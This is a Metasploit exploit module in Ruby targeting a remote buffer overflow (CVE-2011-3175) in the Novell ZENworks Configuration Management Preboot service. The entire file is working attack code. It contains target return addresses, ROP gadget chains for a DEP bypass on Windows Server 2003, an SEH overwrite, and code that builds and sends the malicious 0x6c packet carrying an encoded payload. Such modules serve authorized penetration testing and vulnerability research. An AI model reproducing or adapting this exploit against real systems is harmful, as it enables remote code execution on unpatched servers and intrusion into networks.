require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell ZENworks Configuration Management Preboot Service 0x6c Buffer Overflow',
'Description'=> %q{
This module exploits a remote buffer overflow in the ZENworks Configuration
Management. The vulnerability exists in the Preboot service and can be triggered by
sending a specially crafted packet with the opcode 0x6c (PROXY_CMD_GET_NEXT_STEP)
to port 998/TCP. The module has been successfully tested on Novell ZENworks
Configuration Management 10 SP2 / SP3 and Windows Server 2003 SP2 (DEP bypass).
},
'License'=> MSF_LICENSE,
'Author' =>
[
'Luigi Auriemma',
'juan'
],
'References' =>
[
[ 'CVE', '2011-3175' ],
[ 'OSVDB', '80231' ],
[ 'BID', '52659' ],
[ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=973' ],
[ 'URL', 'http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5127930.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Payload'=>
{
'BadChars' => "\x00",
'Space'=> 990,
'DisableNops' => true,
'PrependEncoder' => "\x81\xC4\x54\xF2\xFF\xFF"
},
'Platform' => ['win'],
'Targets'=>
[
[ 'Novell ZENworks Configuration Management 10 SP3 / Windows 2003 SP2',
{
'Offset'=> 1100,
'OffsetBottomStack' => 1148,
'OffsetRop' => 4,
'Ret' => 0x10024b8c
}
],
[ 'Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2',
{
'Offset'=> 1100,
'OffsetBottomStack' => 1148,
'OffsetRop' => 4,
'Ret' => 0x10024a7c
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Feb 22 2012',
'DefaultTarget'=> 0))
register_options([Opt::RPORT(998)], self.class)
end
def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end
def nop
return make_nops(4).unpack("L")[0].to_i
end
def create_rop_chain()
if target.name =~ /Novell ZENworks Configuration Management 10 SP3/
rop_gadgets =
[
0x100066b1,
0x00001000,
0x100239df,
0x1007d158,
0x10018653,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
0x1002a38f,
0x00423ddd,
0x10007b22,
0x100235dc,
0x00000001,
0x0041961a,
0x00000040,
0x1004702b,
0x1001d001,
0x10011217,
nop,
0x10018ec8,
].pack("V*")
else
rop_gadgets =
[
0x100065d1,
0x00001000,
0x10062113,
0x1007d158,
0x10018553,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
0x10016818,
0x1002fd05,
0x10043053,
0x1003cbf8,
0x00000001,
0x00423eeb,
0x00000040,
0x1003173e,
0x10020801,
0x00406b58,
nop,
0x1006d1e6,
].pack("V*")
end
return rop_gadgets
end
def exploit
connect
buf = rand_text(4)
buf2 = rand_text(4)
buf3 = rand_text(4)
buf4 = rand_text(4)
buf5 = rand_text(target['OffsetRop'])
buf5 << create_rop_chain
buf5 << payload.encoded
buf5 << rand_text(target['Offset'] - buf5.length)
buf5 << generate_seh_record(target.ret)
buf5 << rand_text(target['OffsetBottomStack'] - buf4.length)
my_buf = ""
buf5.unpack("C*").each {|b|
my_buf << [b].pack("C")
my_buf << rand_text(1)
}
packet =[0x6c].pack("N")
packet << [buf.length].pack("N")
packet << buf
packet << [buf2.length].pack("N")
packet << buf2
packet << [buf3.length].pack("N")
packet << buf3
packet << [buf4.length].pack("N")
packet << buf4
packet << [my_buf.length].pack("N")
packet << my_buf
sock.put(packet)
disconnect
end
end